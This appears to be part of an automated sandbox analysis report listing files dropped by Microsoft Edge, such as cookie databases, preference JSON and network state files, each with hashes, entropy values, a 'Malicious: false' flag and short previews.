SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	3.0096199342729313
Encrypted:	false
SSDEEP:	192:tTsAF4sRGGUY9kLXTOUDhC/BqmvMQZ1NBmUYO0B/zbl0b:VsASoG2kzaUDhQEmvBma0B7bl0b
MD5:	F8148BB8EE828335ABE2DC95797FCF87
SHA1:	20A47FA7275661E6C3002A6661A695ADF83A6AFF
SHA-256:	9A6F677D16A99C937F7EF5F3F124A03B446C4338AC7E0542DF35881137E3CE4E
SHA-512:	233DCC4B540327F700F331D26D2EA6A5BD3ACCF22868377B54A36FC7B262A8F3983676C862560153D7C34FFC08A149453566A302B0398153706F8FD21A01B650
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	5.336110615415376
Encrypted:	false
SSDEEP:	24:YXsJZVMdmRdsBjZFRudFGRw6ma3yeesRds1yZFGJ/I3w6C1E6maPsQYhbxP7np+:YXs/tsbfc7leeEscgCgakhYhbx9+
MD5:	7D870539B6C4EE40FA5CFD87A3D4BFEC
SHA1:	F45BE07A3A05615856688219AFE6713EBABBAC2C
SHA-256:	73513F7A38830E47624257EF04A4F73BF174FD1FEBAC172AA416BF6470930F90
SHA-512:	90EABCE74F8CBB5FF1F96566E1293887BB3DB36C9E32F6C619D1EC7C9AAE504221CDEC2DD1468915A0A06A65E472C5446731838C89E665EBD9FA114F12261327
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492604479295","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492605127283","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492606741506","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"anonymizatio

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State~RF3f7bf.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	5.336110615415376
Encrypted:	false
SSDEEP:	24:YXsJZVMdmRdsBjZFRudFGRw6ma3yeesRds1yZFGJ/I3w6C1E6maPsQYhbxP7np+:YXs/tsbfc7leeEscgCgakhYhbx9+
MD5:	7D870539B6C4EE40FA5CFD87A3D4BFEC
SHA1:	F45BE07A3A05615856688219AFE6713EBABBAC2C
SHA-256:	73513F7A38830E47624257EF04A4F73BF174FD1FEBAC172AA416BF6470930F90
SHA-512:	90EABCE74F8CBB5FF1F96566E1293887BB3DB36C9E32F6C619D1EC7C9AAE504221CDEC2DD1468915A0A06A65E472C5446731838C89E665EBD9FA114F12261327
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492604479295","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492605127283","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492606741506","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"anonymizatio

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State~RF4b0fd.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	5.336110615415376
Encrypted:	false
SSDEEP:	24:YXsJZVMdmRdsBjZFRudFGRw6ma3yeesRds1yZFGJ/I3w6C1E6maPsQYhbxP7np+:YXs/tsbfc7leeEscgCgakhYhbx9+
MD5:	7D870539B6C4EE40FA5CFD87A3D4BFEC
SHA1:	F45BE07A3A05615856688219AFE6713EBABBAC2C
SHA-256:	73513F7A38830E47624257EF04A4F73BF174FD1FEBAC172AA416BF6470930F90
SHA-512:	90EABCE74F8CBB5FF1F96566E1293887BB3DB36C9E32F6C619D1EC7C9AAE504221CDEC2DD1468915A0A06A65E472C5446731838C89E665EBD9FA114F12261327
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492604479295","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492605127283","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492606741506","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"anonymizatio

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	1.475902724091907
Encrypted:	false
SSDEEP:	48:TFkIopKWurJNVr1GJmA8pv82pfurJNVrdHXuccaurJN2VrJ1n4n1GmzNGU1cSBff:JkIEumQv8m1ccnvS6BcDow0WjAW9cOJ0
MD5:	E7EAC6B4322017BD690E49FEFC2DB7E9
SHA1:	DD3EB5981F5976B8EA3F8F7025D4116DD7BD6CEF
SHA-256:	B4B5F0DAA1BCB8CB08E3A8530B1834D80EFF6E477AEA2E2D9D874C266A2F3AA0
SHA-512:	C1B958B15623EF8BE9EEB2C767EEFDB9658E793C83402CA5C76838077126DCA427CB773CEC9B6C32B591BB8B2DC494FF08B9D619CEBAF99C3F93A2623671DF82
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF39fbc.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3aff8.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3b4ab.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\a338eab9-e500-4c55-89b3-f2de685bc4aa.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	5.336110615415376
Encrypted:	false
SSDEEP:	24:YXsJZVMdmRdsBjZFRudFGRw6ma3yeesRds1yZFGJ/I3w6C1E6maPsQYhbxP7np+:YXs/tsbfc7leeEscgCgakhYhbx9+
MD5:	7D870539B6C4EE40FA5CFD87A3D4BFEC
SHA1:	F45BE07A3A05615856688219AFE6713EBABBAC2C
SHA-256:	73513F7A38830E47624257EF04A4F73BF174FD1FEBAC172AA416BF6470930F90
SHA-512:	90EABCE74F8CBB5FF1F96566E1293887BB3DB36C9E32F6C619D1EC7C9AAE504221CDEC2DD1468915A0A06A65E472C5446731838C89E665EBD9FA114F12261327
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492604479295","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492605127283","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492606741506","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"anonymizatio

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\ed26f91e-287e-45c7-9fa0-b98e844a034a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\fdc1c728-207b-4bb4-8dda-6cafe82281d1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8350301952073809
Encrypted:	false
SSDEEP:	24:TLSOUOq0afDdWec9sJlAMoqsgC7zn2z8ZI7J5fc:T+OUzDbg3sAM/sgCnn2ztc
MD5:	0DAD8D7F079797377CD56DAE47E1A619
SHA1:	A353C01C5B9BA9E0315ABA74D3337B7D6EE97CB2
SHA-256:	7BDA584E0C1BE9E104065370FD279A7E771D7EB4F7E4CC7C80F146931F150E33
SHA-512:	5A57C0D303672564DDEAA08B5DAAEE1BA24B67C46100720CE69F0908427ACE55F330D96A772D0E1F96B595FBBD70E6145AA464FC4F312EFE095F9AC909E304E8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9715
Entropy (8bit):	5.11426789616414
Encrypted:	false
SSDEEP:	192:stBkdp1s4DsZihUkeeNRn8wbV+FGaQA66WVaFIMYsPMYJ:stBQ1s4Dfh5bGDQx6WVaTYI
MD5:	192BE17E49DAB31B6183E60F6F6FFCBA
SHA1:	398540B910889C57F7F7BBF753CDBD8E697A46E4
SHA-256:	01426DAE67D25E89959DEBEAA2C6D66DABD132A8C22C0A91281E7836EA4B095D
SHA-512:	32229124F1CA02FA40AE6B9049116CE60CECE18A7028CF69EA372B6C465D525492486C8766FA21641214E5EDAD527F5E2C27D65173F6493E0DCAA055BB9CFB23
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374521666382694","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF3dc48.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9715
Entropy (8bit):	5.11426789616414
Encrypted:	false
SSDEEP:	192:stBkdp1s4DsZihUkeeNRn8wbV+FGaQA66WVaFIMYsPMYJ:stBQ1s4Dfh5bGDQx6WVaTYI
MD5:	192BE17E49DAB31B6183E60F6F6FFCBA
SHA1:	398540B910889C57F7F7BBF753CDBD8E697A46E4
SHA-256:	01426DAE67D25E89959DEBEAA2C6D66DABD132A8C22C0A91281E7836EA4B095D
SHA-512:	32229124F1CA02FA40AE6B9049116CE60CECE18A7028CF69EA372B6C465D525492486C8766FA21641214E5EDAD527F5E2C27D65173F6493E0DCAA055BB9CFB23
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374521666382694","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF42a19.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9715
Entropy (8bit):	5.11426789616414
Encrypted:	false
SSDEEP:	192:stBkdp1s4DsZihUkeeNRn8wbV+FGaQA66WVaFIMYsPMYJ:stBQ1s4Dfh5bGDQx6WVaTYI
MD5:	192BE17E49DAB31B6183E60F6F6FFCBA
SHA1:	398540B910889C57F7F7BBF753CDBD8E697A46E4
SHA-256:	01426DAE67D25E89959DEBEAA2C6D66DABD132A8C22C0A91281E7836EA4B095D
SHA-512:	32229124F1CA02FA40AE6B9049116CE60CECE18A7028CF69EA372B6C465D525492486C8766FA21641214E5EDAD527F5E2C27D65173F6493E0DCAA055BB9CFB23
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374521666382694","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF49f49.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9715
Entropy (8bit):	5.11426789616414
Encrypted:	false
SSDEEP:	192:stBkdp1s4DsZihUkeeNRn8wbV+FGaQA66WVaFIMYsPMYJ:stBQ1s4Dfh5bGDQx6WVaTYI
MD5:	192BE17E49DAB31B6183E60F6F6FFCBA
SHA1:	398540B910889C57F7F7BBF753CDBD8E697A46E4
SHA-256:	01426DAE67D25E89959DEBEAA2C6D66DABD132A8C22C0A91281E7836EA4B095D
SHA-512:	32229124F1CA02FA40AE6B9049116CE60CECE18A7028CF69EA372B6C465D525492486C8766FA21641214E5EDAD527F5E2C27D65173F6493E0DCAA055BB9CFB23
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374521666382694","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	30243
Entropy (8bit):	5.565965439677948
Encrypted:	false
SSDEEP:	768:0tLLUE7pLGLpriWPukfYf8F1+UoAYDCx9Tuqh0VfUC9xbog/OVziGAt9Frwcxpt9:0tLLUIcpriWPukfYfu1jaOiG29ucVtL
MD5:	849FAF10F6ABE5AEDE0652BD553775C8
SHA1:	769848CBADAD5B031862912F5A64F978E63647DE
SHA-256:	B34B8D45139B59589C737147718F89EE4670E95D59D2E561389639C71A77B4D2
SHA-512:	0235BB18426317E99E70FF5232AC36FAE2489AEB9C00AFFFC76F98142419B0ADCCC5D1725BCBFC03C9B39CF1FC887D6281F8A077E7F6B38ECB9266255CA70F2B
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13374521665775807","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13374521665775807","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF3ddde.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	30243
Entropy (8bit):	5.565965439677948
Encrypted:	false
SSDEEP:	768:0tLLUE7pLGLpriWPukfYf8F1+UoAYDCx9Tuqh0VfUC9xbog/OVziGAt9Frwcxpt9:0tLLUIcpriWPukfYfu1jaOiG29ucVtL
MD5:	849FAF10F6ABE5AEDE0652BD553775C8
SHA1:	769848CBADAD5B031862912F5A64F978E63647DE
SHA-256:	B34B8D45139B59589C737147718F89EE4670E95D59D2E561389639C71A77B4D2
SHA-512:	0235BB18426317E99E70FF5232AC36FAE2489AEB9C00AFFFC76F98142419B0ADCCC5D1725BCBFC03C9B39CF1FC887D6281F8A077E7F6B38ECB9266255CA70F2B
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13374521665775807","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13374521665775807","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2174
Entropy (8bit):	5.865140004757231
Encrypted:	false
SSDEEP:	24:F2xc5NmlcncmokCROulg2D3fRHEh37CROulg2oSu6CROulg2DyRHEh3Ok5CROulB:F2emGedD3fBTdoH/dDyBFdJBR
MD5:	C8278CEE5203C73BE1C0B7ABC39DB840
SHA1:	2DB2E2F0E7BD4955F0BDA8E0439A4CFAE20BBF3F
SHA-256:	B8658B3FD1A23F7E791F30C536AB9AEF51CA7C9C8819BCDE837636D520E9B4EF
SHA-512:	3232016C65A0345AD6CABF99E05829B99DE4AC80D621AB03A86098216AA82DAE18450FAD442DB89A0FBDEA9228ACC35EA9301681B31762BD06D834A86445C85B
Malicious:	false
